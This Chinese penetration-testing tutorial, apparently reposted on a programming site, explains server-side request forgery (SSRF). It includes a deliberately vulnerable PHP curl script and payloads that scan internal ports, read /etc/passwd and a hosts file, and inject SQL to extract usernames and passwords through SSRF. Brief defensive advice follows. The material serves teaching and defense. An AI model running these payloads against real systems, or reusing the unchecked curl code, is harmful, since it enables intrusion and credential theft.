渗透测试漏洞原理之---【SSRF 服务端请求伪造】

news2024/11/29 8:04:12

文章目录

    • 1、SSRF概述
      • 1.1、场景
        • 1.1.1、PHP代码实现
      • 1.2、SSRF原理
      • 1.3、SSRF危害
    • 2、SSRF攻防
      • 2.1、SSRF利用
        • 2.1.1、文件访问
        • 2.1.2、端口扫描
        • 2.1.3、读取本地文件
        • 2.1.4、内网应用指纹识别
        • 2.1.5、攻击内网Web应用
      • 2.2、SSRF示例
      • 2.3、SSRF防御
        • 2.3.1、过滤输入
        • 2.3.2、过滤输出
    • 3、SSRF挖掘

1、SSRF概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能

在这里插入图片描述

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。、

1.1、场景

1.1.1、PHP代码实现

利用curl 实现,需要PHP 扩展组件curl 支持

<?php

//	ssrf_curl.php

if(isset($_REQUEST['url'])){
	$link = $_REQUEST['url'];
	$fileName = './curled/'.time().".txt";
	$curlObj = curl_init($link);
	$fp = fopen($fileName,'w');
	
	curl_setopt($curlObj,CURLOPT_FILE,$fp);
	curl_setopt($curlObj,CURLOPT_HEADER,0);
	curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
	
	curl_exec($curlObj);
	curl_close($curlObj);
	fclose($fp);
	
	if(getimagesize($fileName)){
		header("Content-Type:image/png");
	}
	
	$fp = fopen($fileName,'r');
	$result = fread($fp,filesize($fileName));
	fclose($fp);
	echo $result;
}else{
	echo "?url=[url]";
}
?>

image-20230904155201139

1.2、SSRF原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入

没对响应的结果进行检验,直接输出

1.3、SSRF危害

  • 端口扫描;
  • 内网Web 应用指纹识别;
  • 攻击内网应用;
  • 读取本地文件

2、SSRF攻防

2.1、SSRF利用

2.1.1、文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

image-20230904155229695

2.1.2、端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

2.1.3、读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/phpStudy/www/ssrf/ssrf_curl.php

image-20230904155430973

image-20230904155707801

2.1.4、内网应用指纹识别

有些应用是部署在内网的

<Directory "c:\phpStudy\www\phpMyAdmin">
	#Order allow,deny
	Order deny,allow
	deny from all
	allow from 127.0.0.1
</Directory>

# 拒绝所有,只允许127.0.0.1访问
# 在httpd.conf文件里添加配置

image-20230904160002184

设置后不能通过其他IP地址访问到phpMyAdmin,只能通过127.0.0.1去访问

内网应用指纹识别

?url=http://127.0.0.1/phpMyAdmin

image-20230904160158077

?url=http://127.0.0.1/phpmyadmin/readme

image-20230904160303291

2.1.5、攻击内网Web应用

内网安全通常都很薄弱

<Directory "c:\phpStudy\www\cms">
    #Order allow,deny
    Order deny,allow
    deny from all
    allow from 127.0.0.1
</Directory>

image-20230904160350347

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多

空格 用 /**/ 表示

?url=http://127.0.0.1/cms/show.php?
id=-33/*S*/union/*A*/select/*U*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*R*/from/*Y*/cms_users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

image-20230904161439960

2.2、SSRF示例

Weblogic SSRF to GetShell

2.3、SSRF防御

2.3.1、过滤输入

  • 限制协议,仅允许 httphttps 协议;
  • 限制IP,避免应用被用来获取内网数据,攻击内网;
  • 限制端口,限制请求端口为常用端口

2.3.2、过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;
  • 统一错误信息,让攻击无法对内网信息进行判断

3、SSRF挖掘

Web功能URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/975534.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【知网检索稳定】第三届社会发展与媒体传播国际学术会议(SDMC 2023)

第三届社会发展与媒体传播国际学术会议&#xff08;SDMC 2023&#xff09; 2023 3rd International Conference on Social Development and Media Communication 第三届社会发展与媒体传播国际学术会议 (SDMC 2023)将于2023年11月03-05日在中国杭州召开。会议主题主要围绕社会…

【紫光同创国产FPGA教程】——【PGL22G第七章】串口收发实验例程

本原创教程由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL22G开发平台&#xff08;盘古22K&#xff09; 一&#xff1a;盘古22K开发板&#xff08;紫光同创PGL22G开…

PACS三维医学影像处理系统源码

三维医学图像处理系统&#xff08;PACS&#xff09;源码 系统概述&#xff1a; 影像归档和通信系统PACS集影像存储服务器、影像诊断工作站及RIS报告系统于一身,主要有图像处理模块、影像数据管理模块、RIS报告模块、光盘存档模块、DICOM通讯模块、胶片打印输出等模块组成&…

攻防世界-easychallenge

原题 解题思路 下载下来是一个pyc文件&#xff0c;还是反编译python工具 final就是flag&#xff0c;先经过异或&#xff0c;又经过base32加密。倒过来操作就行。

大数据Hadoop入门之集群的搭建

hadoop的三种运行模式 本地模式:测试本地的hadoop是否能够运行&#xff0c;用来运行官方的代码。伪分布模式:原先有人拿来测试&#xff0c;目前测试都不用这个模式了。完全分布模式&#xff1a;多台服务器组成分布式环境&#xff0c;生产环境使用 分布式主机文件同步命令 sc…

如何调试 C# Emit 生成的动态代码?

首先声明一下&#xff0c;这是一个很深的话题&#xff0c;也是朋友真实遇到的&#xff0c;它用 DynamicMethod ILGenerator 生成了很多动态方法&#xff0c;然而这动态方法中有时候经常会遇到溢出异常&#xff0c;寻求如何调试 动态方法体&#xff0c;我知道如果用 visual stu…

Java---多线程

并发编程 多线程 在同一段时间内一台计算机的内部有多个线程正在运行&#xff0c;一台计算机一次可以处理多个任务。 多线程的优点 提高CPU的利用率&#xff1a;计算机中一个任务的执行不是一直都会使用CPU&#xff0c;也有可能在任务执行的过程中出现缺少资源的情况&#…

骨传导耳机危害有哪些?骨传导耳机值得入手吗?

事实上&#xff0c;只要是正常使用&#xff0c;骨传导耳机并不会对身体造成伤害&#xff0c;并且在众多耳机种类中&#xff0c;骨传导耳机可以说是相对健康的一种耳机&#xff0c;这种耳机最独特的地方便是声波不经过外耳道和鼓膜&#xff0c; 而是直接将人体骨骼结构作为传声介…

mysql、MHA高可用配置即故障切换

MHA概述 一套优秀的MySQL高可用环境下故障切换和主从复制的软件 MHA的出现就是解决MySQL 单点的问题 MySQL故障过程中&#xff0c;MHA能做到0-30秒内自动完成故障切换 MHA能在故障切换的过程中最大程度上保证数据的一致性以达到真正意义上的高可用 MHA的组成&#xff08;核…

智能手机收入和出货量双双下滑,造车成本不断增长,小米集团仍面临风险

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 华尔街分析师对小米集团第二季度的业绩预测 在8月29日小米集团&#xff08;01810&#xff09;公布其2023年第二季度财报之前&#xff0c;华尔街分析师曾预测该公司第二季度的业绩将超出2023年第一季度的业绩。 根据S&P …

SpringBoot2.0(Spring读取配置文件常用方法,打war包在Tomcat中启动)

目录 一&#xff0c;SpringBoot中读取配置文件的常用方法1.1&#xff0c;使用Value读取1.2&#xff0c;使用ConfigurationProperties1.3&#xff0c;使用Environment1.4&#xff0c;自定义配置文件读取 二&#xff0c;SpringBoot部署war项目到tomcat9和启动原理 一&#xff0c;…

RabbitMq消息模型-队列消息

队列消息分为2种&#xff1a; 基本模型&#xff08;SimpleQueue&#xff09;、工作模型&#xff08;WorkQueue&#xff09; 队列消息特点&#xff1a; 消息不会丢失 并且 有先进先出的顺序。消息接收是有顺序的&#xff0c;不是随机的&#xff0c;仅有一个消费者能拿到数据&…

代码随想录算法训练营第五十六天|583. 两个字符串的删除操作、72. 编辑距离、编辑距离总结篇

583. 两个字符串的删除操作 文档讲解 &#xff1a; 代码随想录 - 583. 两个字符串的删除操作 状态&#xff1a;再次回顾。 动态规划五部曲&#xff1a; 确定dp数组&#xff08;dp table&#xff09;以及下标的含义 dp[i][j]&#xff1a;以i-1为结尾的字符串word1&#xff0c;和…

肖特基二极管SBD,SOD-123封装有哪些型号?

肖特基二极管&#xff0c;常用二极管之一&#xff0c;对于电子工程师来说&#xff0c;并不陌生。肖特基二极管&#xff0c;又称肖特基势垒二极管、热载流子二极管&#xff0c;英文Schottky Barrier Diode&#xff0c;缩写SBD&#xff0c;是利用金属-半导体(M-S)接触特性制成&am…

C语言:扫雷小游戏

文接上一篇博文C语言&#xff1a;三子棋小游戏。本篇博文是使用C语言来实现扫雷小游戏的。这里不对扫雷的规则进行赘述。玩家通过键盘输入坐标来探雷。博主在实现扫雷之前从未看过扫雷实现的相关视频&#xff0c;所以这里实现的扫雷完全是博主的原生思路&#xff0c;具有逻辑性…

用python开发一个炸金花小游戏

众所周知&#xfeff;扑克牌可谓是居家旅行、桌面交友的必备道具&#xff0c; 今天我们用 Python 来实现一个类似炸金花的扑克牌小游戏&#xff0c;先来看一下基本的游戏规则。 炸&#xff08;诈&#xff09;金花又叫三张牌&#xff0c;是在全国广泛流传的一种民间多人纸牌游戏…

乐信仍面临资产质量下降和拖欠率上升风险

来源&#xff1a;猛兽财经 作者&#xff1a;猛兽财经 公司介绍 乐信(LX)成立于2013年10月&#xff0c;是中国领先的新消费数字科技服务商。旗下业务包括线上分期购物商城分期乐&#xff0c;全场景信用消费产品乐花卡&#xff0c;新型分期购物平台买吖&#xff0c;助力金融机构…

广告、政府、IT三重合作:凭爱校对轻松搞定文本质量

在广告创意、政府政策和IT开发这三个看似不相关的领域中&#xff0c;有一个共同的需求&#xff1a;高质量的文本内容。本文将探讨如何通过使用“爱校对”工具&#xff0c;在这三个行业内确保文本质量&#xff0c;从而提高工作效率和准确性。 广告行业&#xff1a;语境与创意的完…

EDM邮件营销:使用EDM代发实现更高发送率

虽然现在进入数字时代&#xff0c;但电子邮件依然是企业跟客户之间沟通最有效的方式之一。为了吸引并且留存目标用户&#xff0c;各大企业都在努力做好EDM&#xff08;Electronic Direct Mail&#xff09;邮件营销。但是通常用电子邮箱发送外贸邮件会有发送数量和自动化的限制&…

固定资产管理怎么写报告

撰写固定资产管理报告时&#xff0c;需要考虑以下几个维度的数据&#xff1a;  资产总量和分类&#xff1a;列出公司的固定资产总量、种类以及各类型资产的数量。  资产使用情况&#xff1a;统计各类型资产的使用率、闲置率、报废率等数据&#xff0c;以及不同部门的资产使…